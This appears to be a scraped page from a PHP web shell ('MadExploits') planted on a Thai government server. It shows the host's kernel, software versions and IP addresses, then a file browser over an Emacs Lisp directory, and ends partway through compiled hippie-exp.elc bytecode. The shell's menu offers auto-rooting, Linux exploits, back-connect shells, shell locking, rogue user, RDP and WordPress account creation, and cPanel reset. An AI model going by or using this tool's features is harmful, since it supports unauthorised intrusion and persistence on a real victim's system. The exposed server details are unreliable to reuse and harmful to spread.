Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
calc
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
emacs-lisp
[ DIR ]
drwxr-xr-x
emulation
[ DIR ]
drwxr-xr-x
erc
[ DIR ]
drwxr-xr-x
eshell
[ DIR ]
drwxr-xr-x
gnus
[ DIR ]
drwxr-xr-x
international
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
mh-e
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nxml
[ DIR ]
drwxr-xr-x
obsolete
[ DIR ]
drwxr-xr-x
org
[ DIR ]
drwxr-xr-x
play
[ DIR ]
drwxr-xr-x
progmodes
[ DIR ]
drwxr-xr-x
term
[ DIR ]
drwxr-xr-x
textmodes
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
COPYING
34.32
KB
-rw-r--r--
README
538
B
-rw-r--r--
abbrev.elc
29.69
KB
-rw-r--r--
abbrevlist.elc
1.12
KB
-rw-r--r--
add-log.elc
35.21
KB
-rw-r--r--
align.elc
38.38
KB
-rw-r--r--
allout.elc
208.3
KB
-rw-r--r--
ansi-color.elc
16.3
KB
-rw-r--r--
apropos.elc
31.93
KB
-rw-r--r--
arc-mode.elc
54.72
KB
-rw-r--r--
array.elc
25.83
KB
-rw-r--r--
autoarg.elc
5.98
KB
-rw-r--r--
autoinsert.elc
12.01
KB
-rw-r--r--
autorevert.elc
18.25
KB
-rw-r--r--
avoid.elc
10.17
KB
-rw-r--r--
battery.elc
17.98
KB
-rw-r--r--
bindings.elc
39.04
KB
-rw-r--r--
bookmark.elc
55.9
KB
-rw-r--r--
bs.elc
48.34
KB
-rw-r--r--
buff-menu.elc
28
KB
-rw-r--r--
button.elc
13.92
KB
-rw-r--r--
calculator.elc
49.18
KB
-rw-r--r--
case-table.elc
4.42
KB
-rw-r--r--
cdl.elc
1.26
KB
-rw-r--r--
chistory.elc
5.75
KB
-rw-r--r--
cmuscheme.elc
17.43
KB
-rw-r--r--
comint.elc
100.97
KB
-rw-r--r--
compare-w.elc
10.98
KB
-rw-r--r--
complete.elc
23.62
KB
-rw-r--r--
completion.elc
45.06
KB
-rw-r--r--
composite.elc
29.39
KB
-rw-r--r--
cus-dep.elc
5.04
KB
-rw-r--r--
cus-edit.elc
129.67
KB
-rw-r--r--
cus-face.elc
10.46
KB
-rw-r--r--
cus-load.el
63.45
KB
-rw-r--r--
cus-start.elc
10.67
KB
-rw-r--r--
cus-theme.elc
13.7
KB
-rw-r--r--
custom.elc
36.46
KB
-rw-r--r--
cvs-status.elc
23
KB
-rw-r--r--
dabbrev.elc
23.08
KB
-rw-r--r--
delim-col.elc
8.41
KB
-rw-r--r--
delsel.elc
5.24
KB
-rw-r--r--
descr-text.elc
20.69
KB
-rw-r--r--
desktop.elc
34.52
KB
-rw-r--r--
dframe.elc
22.51
KB
-rw-r--r--
diff-mode.elc
55.58
KB
-rw-r--r--
diff.elc
5.51
KB
-rw-r--r--
dired-aux.elc
67.5
KB
-rw-r--r--
dired-x.elc
44.96
KB
-rw-r--r--
dired.elc
96.48
KB
-rw-r--r--
dirtrack.elc
7.39
KB
-rw-r--r--
disp-table.elc
8.33
KB
-rw-r--r--
dnd.elc
7.04
KB
-rw-r--r--
doc-view.elc
36.01
KB
-rw-r--r--
dos-fns.elc
5.53
KB
-rw-r--r--
dos-vars.elc
1.24
KB
-rw-r--r--
dos-w32.elc
11.12
KB
-rw-r--r--
double.elc
4.13
KB
-rw-r--r--
ebuff-menu.elc
9.11
KB
-rw-r--r--
echistory.elc
4.93
KB
-rw-r--r--
ediff-diff.elc
35.54
KB
-rw-r--r--
ediff-help.elc
11.47
KB
-rw-r--r--
ediff-hook.elc
5.89
KB
-rw-r--r--
ediff-init.elc
60.88
KB
-rw-r--r--
ediff-merg.elc
10.04
KB
-rw-r--r--
ediff-mult.elc
58.31
KB
-rw-r--r--
ediff-ptch.elc
18.63
KB
-rw-r--r--
ediff-util.elc
118.44
KB
-rw-r--r--
ediff-vers.elc
4.74
KB
-rw-r--r--
ediff-wind.elc
30.56
KB
-rw-r--r--
ediff.elc
36.28
KB
-rw-r--r--
edmacro.elc
21.45
KB
-rw-r--r--
ehelp.elc
11.03
KB
-rw-r--r--
electric.elc
2.81
KB
-rw-r--r--
elide-head.elc
2.8
KB
-rw-r--r--
emacs-lock.elc
2.77
KB
-rw-r--r--
emerge.elc
80.16
KB
-rw-r--r--
env.elc
5.69
KB
-rw-r--r--
epa-dired.elc
1.87
KB
-rw-r--r--
epa-file.elc
6.77
KB
-rw-r--r--
epa-hook.elc
4.28
KB
-rw-r--r--
epa-mail.elc
7.04
KB
-rw-r--r--
epa.elc
34.03
KB
-rw-r--r--
epg-config.elc
4.01
KB
-rw-r--r--
epg.elc
85.05
KB
-rw-r--r--
expand.elc
9.42
KB
-rw-r--r--
ezimage.elc
9.2
KB
-rw-r--r--
face-remap.elc
13.15
KB
-rw-r--r--
facemenu.elc
23.61
KB
-rw-r--r--
faces.elc
81.51
KB
-rw-r--r--
ffap.elc
46.14
KB
-rw-r--r--
filecache.elc
16.1
KB
-rw-r--r--
files.elc
175.25
KB
-rw-r--r--
filesets.elc
73.03
KB
-rw-r--r--
find-cmd.elc
4.94
KB
-rw-r--r--
find-dired.elc
7.4
KB
-rw-r--r--
find-file.elc
18.68
KB
-rw-r--r--
find-lisp.elc
7.42
KB
-rw-r--r--
finder-inf.el
93.47
KB
-rw-r--r--
finder.elc
12.11
KB
-rw-r--r--
flow-ctrl.elc
2.44
KB
-rw-r--r--
foldout.elc
7.6
KB
-rw-r--r--
follow.elc
37.11
KB
-rw-r--r--
font-core.elc
12.92
KB
-rw-r--r--
font-lock.elc
61.1
KB
-rw-r--r--
format-spec.elc
1.98
KB
-rw-r--r--
format.elc
27.73
KB
-rw-r--r--
forms-d2.el
3.13
KB
-rw-r--r--
forms-pass.el
742
B
-rw-r--r--
forms.elc
35.13
KB
-rw-r--r--
frame.elc
48.66
KB
-rw-r--r--
fringe.elc
8.01
KB
-rw-r--r--
generic-x.elc
44.25
KB
-rw-r--r--
gs.elc
3.93
KB
-rw-r--r--
help-at-pt.elc
11.27
KB
-rw-r--r--
help-fns.elc
21.77
KB
-rw-r--r--
help-macro.elc
4.37
KB
-rw-r--r--
help-mode.elc
19.38
KB
-rw-r--r--
help.elc
40.91
KB
-rw-r--r--
hex-util.elc
1.48
KB
-rw-r--r--
hexl.elc
32.06
KB
-rw-r--r--
hi-lock.elc
23.27
KB
-rw-r--r--
hilit-chg.elc
28.02
KB
-rw-r--r--
hippie-exp.elc
23.39
KB
-rw-r--r--
hl-line.elc
7.71
KB
-rw-r--r--
ibuf-ext.elc
54.62
KB
-rw-r--r--
ibuf-macs.elc
11.65
KB
-rw-r--r--
ibuffer.elc
91.96
KB
-rw-r--r--
icomplete.elc
10.36
KB
-rw-r--r--
ido.elc
110.93
KB
-rw-r--r--
ielm.elc
17.67
KB
-rw-r--r--
iimage.elc
4.06
KB
-rw-r--r--
image-dired.elc
82.24
KB
-rw-r--r--
image-file.elc
6.11
KB
-rw-r--r--
image-mode.elc
14.54
KB
-rw-r--r--
image.elc
17.09
KB
-rw-r--r--
imenu.elc
24.8
KB
-rw-r--r--
indent.elc
17
KB
-rw-r--r--
info-look.elc
26.13
KB
-rw-r--r--
info-xref.elc
7.04
KB
-rw-r--r--
info.elc
119.11
KB
-rw-r--r--
informat.elc
9.69
KB
-rw-r--r--
isearch.elc
76.23
KB
-rw-r--r--
isearchb.elc
4.92
KB
-rw-r--r--
iswitchb.elc
32.11
KB
-rw-r--r--
jit-lock.elc
17.93
KB
-rw-r--r--
jka-cmpr-hook.elc
11.67
KB
-rw-r--r--
jka-compr.elc
12.64
KB
-rw-r--r--
json.elc
13.04
KB
-rw-r--r--
kermit.elc
2.96
KB
-rw-r--r--
kmacro.elc
31.07
KB
-rw-r--r--
ldefs-boot.el
1.17
MB
-rw-r--r--
ledit.elc
4.74
KB
-rw-r--r--
linum.elc
9.56
KB
-rw-r--r--
loaddefs.el
1.17
MB
-rw-r--r--
loadhist.elc
8.65
KB
-rw-r--r--
loadup.el
12.67
KB
-rw-r--r--
locate.elc
17.81
KB
-rw-r--r--
log-edit.elc
24.93
KB
-rw-r--r--
log-view.elc
14.06
KB
-rw-r--r--
longlines.elc
14.94
KB
-rw-r--r--
lpr.elc
8.61
KB
-rw-r--r--
ls-lisp.elc
17.35
KB
-rw-r--r--
macros.elc
6.99
KB
-rw-r--r--
makesum.elc
2.16
KB
-rw-r--r--
man.elc
40.03
KB
-rw-r--r--
master.elc
4.52
KB
-rw-r--r--
mb-depth.elc
3.12
KB
-rw-r--r--
md4.elc
8.14
KB
-rw-r--r--
menu-bar.elc
67.01
KB
-rw-r--r--
midnight.elc
8.92
KB
-rw-r--r--
minibuf-eldef.elc
5.15
KB
-rw-r--r--
minibuffer.elc
42.75
KB
-rw-r--r--
misc.elc
3.67
KB
-rw-r--r--
misearch.elc
8.96
KB
-rw-r--r--
mouse-copy.elc
4.07
KB
-rw-r--r--
mouse-drag.elc
7.33
KB
-rw-r--r--
mouse-sel.elc
20.93
KB
-rw-r--r--
mouse.elc
60.03
KB
-rw-r--r--
msb.elc
27.27
KB
-rw-r--r--
mwheel.elc
9.41
KB
-rw-r--r--
newcomment.elc
32.76
KB
-rw-r--r--
novice.elc
4.75
KB
-rw-r--r--
outline.elc
34.54
KB
-rw-r--r--
paren.elc
6.43
KB
-rw-r--r--
password-cache.elc
3.58
KB
-rw-r--r--
patcomp.el
775
B
-rw-r--r--
paths.el
7.28
KB
-rw-r--r--
pcmpl-cvs.elc
6
KB
-rw-r--r--
pcmpl-gnu.elc
8.21
KB
-rw-r--r--
pcmpl-linux.elc
3.17
KB
-rw-r--r--
pcmpl-rpm.elc
7.5
KB
-rw-r--r--
pcmpl-unix.elc
5.44
KB
-rw-r--r--
pcomplete.elc
34.1
KB
-rw-r--r--
pcvs-defs.elc
16.27
KB
-rw-r--r--
pcvs-info.elc
25.83
KB
-rw-r--r--
pcvs-parse.elc
15.34
KB
-rw-r--r--
pcvs-util.elc
26.8
KB
-rw-r--r--
pcvs.elc
85.52
KB
-rw-r--r--
pgg-def.elc
2.78
KB
-rw-r--r--
pgg-gpg.elc
13.09
KB
-rw-r--r--
pgg-parse.elc
13.45
KB
-rw-r--r--
pgg-pgp.elc
7.64
KB
-rw-r--r--
pgg-pgp5.elc
7.68
KB
-rw-r--r--
pgg.elc
18.01
KB
-rw-r--r--
printing.elc
157.56
KB
-rw-r--r--
proced.elc
57.95
KB
-rw-r--r--
ps-bdf.elc
13.34
KB
-rw-r--r--
ps-def.elc
3.09
KB
-rw-r--r--
ps-mule.elc
36.17
KB
-rw-r--r--
ps-print.elc
145.59
KB
-rw-r--r--
ps-samp.elc
5.5
KB
-rw-r--r--
recentf.elc
49.04
KB
-rw-r--r--
rect.elc
10.79
KB
-rw-r--r--
register.elc
10.69
KB
-rw-r--r--
repeat.elc
6.05
KB
-rw-r--r--
replace.elc
55.02
KB
-rw-r--r--
reposition.elc
2.88
KB
-rw-r--r--
reveal.elc
6.61
KB
-rw-r--r--
rfn-eshadow.elc
7.12
KB
-rw-r--r--
rot13.elc
2.6
KB
-rw-r--r--
ruler-mode.elc
22.48
KB
-rw-r--r--
s-region.elc
3.3
KB
-rw-r--r--
savehist.elc
10.57
KB
-rw-r--r--
saveplace.elc
7.51
KB
-rw-r--r--
sb-image.elc
2.51
KB
-rw-r--r--
scroll-all.elc
4.05
KB
-rw-r--r--
scroll-bar.elc
11.47
KB
-rw-r--r--
scroll-lock.elc
4.64
KB
-rw-r--r--
select.elc
11.8
KB
-rw-r--r--
server.elc
39.79
KB
-rw-r--r--
ses.elc
87.39
KB
-rw-r--r--
sha1.elc
8
KB
-rw-r--r--
shadowfile.elc
22.61
KB
-rw-r--r--
shell.elc
34.08
KB
-rw-r--r--
simple.elc
196.35
KB
-rw-r--r--
skeleton.elc
15.78
KB
-rw-r--r--
smerge-mode.elc
33.61
KB
-rw-r--r--
sort.elc
12.94
KB
-rw-r--r--
soundex.elc
1.34
KB
-rw-r--r--
speedbar.elc
115.06
KB
-rw-r--r--
startup.elc
60.78
KB
-rw-r--r--
strokes.elc
44.11
KB
-rw-r--r--
subdirs.el
426
B
-rw-r--r--
subr.elc
113.48
KB
-rw-r--r--
t-mouse.elc
3.38
KB
-rw-r--r--
tabify.elc
2
KB
-rw-r--r--
talk.elc
3.19
KB
-rw-r--r--
tar-mode.elc
52.24
KB
-rw-r--r--
tempo.elc
18.63
KB
-rw-r--r--
term.elc
99.67
KB
-rw-r--r--
terminal.elc
31.36
KB
-rw-r--r--
thingatpt.elc
10.84
KB
-rw-r--r--
thumbs.elc
26.23
KB
-rw-r--r--
time-stamp.elc
21.03
KB
-rw-r--r--
time.elc
18.2
KB
-rw-r--r--
timezone.elc
10.99
KB
-rw-r--r--
tmm.elc
13.9
KB
-rw-r--r--
tool-bar.elc
9.69
KB
-rw-r--r--
tooltip.elc
12.35
KB
-rw-r--r--
tree-widget.elc
20.87
KB
-rw-r--r--
tutorial.elc
21.41
KB
-rw-r--r--
type-break.elc
35.61
KB
-rw-r--r--
uniquify.elc
19.91
KB
-rw-r--r--
userlock.elc
4.69
KB
-rw-r--r--
vc-annotate.elc
22.68
KB
-rw-r--r--
vc-arch.elc
17.58
KB
-rw-r--r--
vc-bzr.elc
26.84
KB
-rw-r--r--
vc-cvs.elc
32.19
KB
-rw-r--r--
vc-dav.elc
5.3
KB
-rw-r--r--
vc-dir.elc
39.5
KB
-rw-r--r--
vc-dispatcher.elc
14.61
KB
-rw-r--r--
vc-git.elc
32.75
KB
-rw-r--r--
vc-hg.elc
25.95
KB
-rw-r--r--
vc-hooks.elc
32.75
KB
-rw-r--r--
vc-mtn.elc
10.95
KB
-rw-r--r--
vc-rcs.elc
34.99
KB
-rw-r--r--
vc-sccs.elc
13.24
KB
-rw-r--r--
vc-svn.elc
20.57
KB
-rw-r--r--
vc.elc
59.4
KB
-rw-r--r--
vcursor.elc
23.44
KB
-rw-r--r--
version.el
3.37
KB
-rw-r--r--
view.elc
35.96
KB
-rw-r--r--
vt-control.elc
2.06
KB
-rw-r--r--
vt100-led.elc
1.53
KB
-rw-r--r--
w32-fns.elc
15.82
KB
-rw-r--r--
w32-vars.elc
5.53
KB
-rw-r--r--
wdired.elc
21.69
KB
-rw-r--r--
whitespace.elc
59.83
KB
-rw-r--r--
wid-browse.elc
7.89
KB
-rw-r--r--
wid-edit.elc
104.76
KB
-rw-r--r--
widget.elc
1.37
KB
-rw-r--r--
windmove.elc
9.57
KB
-rw-r--r--
window.elc
57.4
KB
-rw-r--r--
winner.elc
11.61
KB
-rw-r--r--
woman.elc
107.73
KB
-rw-r--r--
x-dnd.elc
19.35
KB
-rw-r--r--
xml.elc
18.38
KB
-rw-r--r--
xt-mouse.elc
7.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : hippie-exp.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:04:12 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/hippie-exp.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`hippie-exp.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\301\302!\210\303\304\305\306\307\310\307\311\312\313\312\314& \210\315B\316\315!\204\" \317\315\320\"\210\321B\316\321!\2042 \317\321\322 \"\210\323B\316\323!\204B \317\323\322 \"\210\324B\316\324!\204Q \317\324\305\"\210\325B\316\325!\204` \317\325\305\"\210\326B\316\326!\204o \317\326\305\"\210\327B\316\327!\204 \317\327\322 \"\210\330B\316\330!\204\216 \317\330\305\"\210\331B\316\331!\204\235 \317\331\305\"\210\332B\316\332!\204\254 \317\332\305\"\210\333B\316\333!\204\273 \317\333\305\"\210\334B\316\334!\204\312 \317\334\305\"\210\305\207" [current-load-list require comint custom-declare-group hippie-expand nil "Expand text trying various ways to find its expansion." :link (custom-manual "(autotype)Hippie Expand") (emacs-commentary-link "hippie-exp") :group abbrev convenience he-num default-boundp set-default -1 he-string-beg make-marker he-string-end he-search-string he-expand-list he-tried-table he-search-loc he-search-loc2 he-search-bw he-search-bufs he-searched-n-bufs he-search-window] 12) #@174 The list of expansion functions tried in order by `hippie-expand'. To change the behavior of `hippie-expand', remove, change the order of, or insert functions in this list. (custom-declare-variable 'hippie-expand-try-functions-list ''(try-complete-file-name-partially try-complete-file-name try-expand-all-abbrevs try-expand-list try-expand-line try-expand-dabbrev try-expand-dabbrev-all-buffers try-expand-dabbrev-from-kill try-complete-lisp-symbol-partially try-complete-lisp-symbol) '(#$ . 1663) :type '(repeat function) :group 'hippie-expand) #@67 Non-nil makes `hippie-expand' output which function it is trying. (custom-declare-variable 'hippie-expand-verbose 't '(#$ . 2216) :type 'boolean :group 'hippie-expand) #@71 Non-nil means tolerate trailing spaces in the abbreviation to expand. (custom-declare-variable 'hippie-expand-dabbrev-skip-space 'nil '(#$ . 2390) :group 'hippie-expand :type 'boolean) #@74 Non-nil means expand as symbols, i.e. syntax `_' is considered a letter. (custom-declare-variable 'hippie-expand-dabbrev-as-symbol 't '(#$ . 2581) :group 'hippie-expand :type 'boolean) #@64 Non-nil means that narrowed buffers are widened during search. (custom-declare-variable 'hippie-expand-no-restriction 't '(#$ . 2772) :group 'hippie-expand :type 'boolean) #@100 The maximum number of buffers (apart from the current) searched. If nil, all buffers are searched. (custom-declare-variable 'hippie-expand-max-buffers 'nil '(#$ . 2951) :type '(choice (const :tag "All" nil) integer) :group 'hippie-expand) #@152 A list specifying which buffers not to search (if not current). Can contain both regexps matching buffer names (as strings) and major modes (as atoms) (custom-declare-variable 'hippie-expand-ignore-buffers ''("^ \\*.*\\*$" dired-mode) '(#$ . 3197) :type '(repeat (choice regexp (symbol :tag "Major Mode"))) :group 'hippie-expand) #@242 A list specifying the only buffers to search (in addition to current). Can contain both regexps matching buffer names (as strings) and major modes (as atoms). If non-nil, this variable overrides the variable `hippie-expand-ignore-buffers'. (custom-declare-variable 'hippie-expand-only-buffers 'nil '(#$ . 3534) :type '(repeat (choice regexp (symbol :tag "Major Mode"))) :group 'hippie-expand) #@427 Try to expand text before point, using multiple methods. The expansion functions in `hippie-expand-try-functions-list' are tried in order, until a possible expansion is found. Repeated application of `hippie-expand' inserts successively possible expansions. With a positive numeric argument, jumps directly to the ARG next function in this list. With a negative argument or just \[universal-argument], undoes the expansion. (defalias 'hippie-expand #[(arg) "\203 \250\203\221 \306V\203\221 \307U\206 \n \232?\211 \203\" \307\310\2030 \f\2042 \311 \210\2022 \306 \\\306]\211 GY\204Y \3128 UC\"\204Y T\211\202: ) GY\203{ \307\f\203r \313\314!\210\202v \313\315!\210\316 \202\217 \205\217 \317\320 !?\205\217 \313\321 8\")\207 \306Y\205\265 \322!p=\205\265 \307\311 \210\205\265 \317\320 !?\205\265 \313\323!\207" [arg he-num this-command last-command first he-tried-table 0 -1 nil he-reset-string apply message "No expansion found" "No further expansions found" ding window-minibuffer-p selected-window "Using %s" marker-buffer "Undoing expansions" i hippie-expand-try-functions-list hippie-expand-verbose he-string-beg] 5 (#$ . 3935) "P"]) (defalias 'he-init-string #[(beg end) " \305\223\210\n \305\223\210\306 \"\211\207" [he-string-beg beg he-string-end end he-search-string nil buffer-substring-no-properties] 3]) (defalias 'he-reset-string #[nil "\304 b\210\nc\210` |\210b)\207" [newpos he-string-beg he-search-string he-string-end point-marker] 2]) (defalias 'he-substitute-string #[(str &optional trans-case) "\205 \205 \n\306 \307 b\210\203 \310 \n\"\202! \n\211 B c\210`\f|\210\fb+\207" [trans-case case-replace case-fold-search subst newpos he-string-beg point-marker nil he-transfer-case he-search-string str he-tried-table he-string-end] 4]) (defalias 'he-capitalize-first #[(str) "\304 \305\216\306\307 \"\203 \227\310\224\211\n \nH\226I\210 *\202 *\207" [save-match-data-internal str no res match-data ((byte-code "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3)) string-match "\\Sw*\\(\\sw\\).*" 1] 5]) (defalias 'he-ordinary-case-p #[(str) "\211\227\230\206 \211\226\230\206 \301!\230\206 \302!\230\207" [str capitalize he-capitalize-first] 3]) (defalias 'he-transfer-case #[(from-str to-str) " \302G G^O\230\203 \207\303 !\204 \207\211\227\230\203! \227\207\211\226\230\203+ \226\207\304!\230\2037 \304 !\207\305!\230\203C \305 !\207 \207" [from-str to-str 0 he-ordinary-case-p he-capitalize-first capitalize] 5]) (defalias 'he-string-member #[(str lst &optional trans-case) "\205 \203 \n\203 \203 \306\f\"\202 \235\207" [str trans-case case-replace case-fold-search he-search-string lst he-transfer-case] 3]) (defalias 'he-buffer-member #[(lst) " >\206! \203 @;\203 \302 @\303 \"\204 A\211\204\n \207" [major-mode lst string-match buffer-name] 4]) #@172 Construct a function similar to `hippie-expand'. Make it use the expansion functions in TRY-LIST. An optional second argument VERBOSE non-nil makes the function verbose. (defalias 'make-hippie-expand-function '(macro . #[(try-list &optional verbose) "\302\303\304\305\306\307\310!\311#P\312\313\314D\315 DD\316BB\257D\207" [try-list verbose function lambda (arg) "Try to expand text before point, using the following functions: \n" mapconcat prin1-to-string eval ", " (interactive "P") let hippie-expand-try-functions-list hippie-expand-verbose ((hippie-expand arg))] 9 (#$ . 6845)])) #@243 Try to complete text as a file name. The argument OLD has to be nil the first call of this function, and t for subsequent calls (for further possible completions of the same string). It returns t if a new completion is found, nil otherwise. (defalias 'try-complete-file-name #[(old) "\204= \306\307 `\"\210\310 !\311\312 !\206 \313!\314 \f\"\204# \fB \313\232\204: \315\n!\203: \316\317 \n\"\320\"\202< \321* \203P \314 @\f\"\203P A\211\204A \204] \203[ \322 \210\321\207\323\312 ! @\" \324!\210 @\fAB A)\325\207" [old he-search-string dir-part name-part he-tried-table he-expand-list he-init-string he-file-name-beg file-name-nondirectory expand-file-name file-name-directory "" he-string-member file-directory-p sort file-name-all-completions string-lessp nil he-reset-string he-concat-directory-file-name he-substitute-string t filename] 5 (#$ . 7441)]) #@213 Try to complete text as a file name, as many characters as unique. The argument OLD has to be nil the first call of this function. It returns t if a unique, possibly partial, completion is found, nil otherwise. (defalias 'try-complete-file-name-partially #[(old) "\306 \204A \307\310 `\"\210\311\n!\312\313\n!\206 \314! \n\314\232\204+ \315 !\203+ \316\f \"\317=\204> \f\230\204> \320 \"\203@ \306*\204P \203L \321 \210\306\202d \322\313\n!\" \323!\210 AB)\317)\207" [expansion old he-search-string dir-part name-part he-tried-table nil he-init-string he-file-name-beg file-name-nondirectory expand-file-name file-name-directory "" file-directory-p file-name-completion t he-string-member he-reset-string he-concat-directory-file-name he-substitute-string filename] 4 (#$ . 8323)]) #@65 Characters that are considered part of the file name to expand. (defvar he-file-name-chars (byte-code "\301>\203 \302\207\303\207" [system-type (ms-dos windows-nt cygwin) "-a-zA-Z0-9_/.,~^#$+=:\\\\" "-a-zA-Z0-9_/.,~^#$+="] 2) (#$ . 9128)) (defalias 'he-file-name-beg #[nil "`\212 \302x\210\303\304!\305V\203 \202 `*\207" [op he-file-name-chars nil skip-syntax-backward "w" 0] 2]) #@77 Try to slam together two parts of a file specification, system dependently. (defalias 'he-concat-directory-file-name #[(dir-part name-part) "\204 \207\n\303>\203/ \304\305\"\203+ \304\306\"\204+ \211GSH\307U\203+ \211GS\310I\210 P\207 P\207" [dir-part name-part system-type (ms-dos w32) string-match "\\\\" "/" 47 92] 3 (#$ . 9520)]) #@252 Try to complete word as an Emacs Lisp symbol. The argument OLD has to be nil the first call of this function, and t for subsequent calls (for further possible completions of the same string). It returns t if a new completion is found, nil otherwise. (defalias 'try-complete-lisp-symbol #[(old) "\204% \305\306 `\"\210\307 \n\"\204 \nB \310\232?\205$ \311\312 \313#\314\"\f\2038 \307\f@\n\"\2038 \fA\211\204) \f\204E \203C \315 \210\316\207\317\f@!\210\fA\320\207" [old he-search-string he-tried-table obarray he-expand-list he-init-string he-lisp-symbol-beg he-string-member "" sort all-completions #[(sym) "\301!\206 \302!\206 \303!\207" [sym boundp fboundp symbol-plist] 2] string-lessp he-reset-string nil he-substitute-string t] 6 (#$ . 9870)]) #@217 Try to complete as an Emacs Lisp symbol, as many characters as unique. The argument OLD has to be nil the first call of this function. It returns t if a unique, possibly partial, completion is found, nil otherwise. (defalias 'try-complete-lisp-symbol-partially #[(old) "\305 \204- \306\307 `\"\210\n\310\230\204 \311\n \312#\313=\204+ \n\230\204+ \314\f\"\203- \305\204< \2038 \315 \210\305\202A \316!\210\313)\207" [expansion old he-search-string obarray he-tried-table nil he-init-string he-lisp-symbol-beg "" try-completion #[(sym) "\301!\206 \302!\206 \303!\207" [sym boundp fboundp symbol-plist] 2] t he-string-member he-reset-string he-substitute-string] 4 (#$ . 10641)]) (defalias 'he-lisp-symbol-beg #[nil "\212\300\301!\210`)\207" [skip-syntax-backward "w_"] 2]) #@272 Try to complete the current line to an entire line in the buffer. The argument OLD has to be nil the first call of this function, and t for subsequent calls (for further possible completions of the same string). It returns t if a new completion is found, nil otherwise. (defalias 'try-expand-line #[(old) "\306\307p!\205\f \205\f \f\204\" \310\311\n!`\"\210 \306\223\210\312\313\232\204g \212\214\2032 ~\210\203S b\210\314\n\312# `\306\223\210 \204S \306\223\210\306 \204f b\210\314\n\306# `\306\223\210* \204v \f\203r \315 \210\306\202| \316 \312\"\210\312*\207" [comint-use-prompt-regexp comint-prompt-regexp strip-prompt expansion old he-search-loc nil get-buffer-process he-init-string he-line-beg t "" he-line-search he-reset-string he-substitute-string he-string-beg he-search-bw he-search-string hippie-expand-no-restriction he-string-end] 4 (#$ . 11436)]) #@269 Try to complete the current line, searching all other buffers. The argument OLD has to be nil the first call of this function, and t for subsequent calls (for further possible completions of the same string). It returns t if a new completion is found, nil otherwise. (defalias 'try-expand-line-all-buffers #[(old) "\306\307p!\205\f \205\f p\n \204. \310\311 !`\"\210\312 \313\314@\223\210\315\232\204\300 \203\300 \204\300 \203L W\203\300 @q\210p\f=\204\260 \203c \316!\202h \316!?\203\260 \212\214 \203t ~\210b\210\307p!\205\203 \205\203 \317 \306#)`\306\223\210\204\254 AT\314@\223\210*\2025 A\314@\223\210\2025 \fq\210\204\324 \203\320 \320 \210\306\202\333 \321\322\"\210\322,\207" [comint-use-prompt-regexp comint-prompt-regexp case-fold-search orig-case-fold-search buf strip-prompt nil get-buffer-process he-init-string he-line-beg buffer-list 0 1 "" he-buffer-member he-line-search he-reset-string he-substitute-string t expansion old he-search-bufs he-searched-n-bufs he-search-loc he-search-string hippie-expand-max-buffers hippie-expand-only-buffers hippie-expand-ignore-buffers hippie-expand-no-restriction] 4 (#$ . 12335)]) (defalias 'he-line-search #[(str strip-prompt reverse) "\305\2045 \203 \306\307\n \"\305\310#\202 \311\307\n \"\305\310#\2035 \312\313\225\314\225\"\315\f\310#\203 \305\211\203 )\207" [result reverse str strip-prompt he-tried-table nil re-search-backward he-line-search-regexp t re-search-forward buffer-substring-no-properties 1 0 he-string-member] 5]) (defalias 'he-line-beg #[(strip-prompt) "\212\301\302\303\"\212\304 \210`)\305#\203 \306\224\202 `)\207" [strip-prompt re-search-backward he-line-search-regexp "" beginning-of-line t 2] 4]) (defalias 'he-line-search-regexp #[(pat strip-prompt) "\203 \303 \304\305\n!\306\260\207\307\305\n!\306Q\207" [strip-prompt comint-prompt-regexp pat "\\(" "\\|^\\s-*\\)\\(" regexp-quote "[^\n]*[^ \n]\\)" "^\\(\\s-*\\)\\("] 5]) #@255 Try to complete the current beginning of a list. The argument OLD has to be nil the first call of this function, and t for subsequent calls (for further possible completions of the same string). It returns t if a new completion is found, nil otherwise. (defalias 'try-expand-list #[(old) "\306 \204 \307\310 `\"\210\n \306\223\210\311 \312\232\204Q \212\214\203\" ~\210\f\203? \nb\210\313 \311\"\n`\306\223\210\204? \n\306\223\210\306\204P \nb\210\313 \306\"\n`\306\223\210*\204` \203\\ \314 \210\306\202f \315\311\"\210\311)\207" [expansion old he-search-loc he-string-beg he-search-bw he-search-string nil he-init-string he-list-beg t "" he-list-search he-reset-string he-substitute-string hippie-expand-no-restriction he-string-end] 3 (#$ . 14347)]) #@269 Try to complete the current list, searching all other buffers. The argument OLD has to be nil the first call of this function, and t for subsequent calls (for further possible completions of the same string). It returns t if a new completion is found, nil otherwise. (defalias 'try-expand-list-all-buffers #[(old) "\306p\f\204 \307\310 `\"\210\311 \312\313 @\223\210\314\232\204\227 \203\227 \204\227 \2039 W\203\227 @q\210p\n=\204\212 \203O \315!\202T \315!?\203\212 \212\214\203` ~\210b\210 \316\306\")`\306\223\210 \204\206 AT\313 @\223\210*\202$ A\313 @\223\210\202$ \nq\210 \204\251 \f\203\245 \317 \210\306\202\257 \320 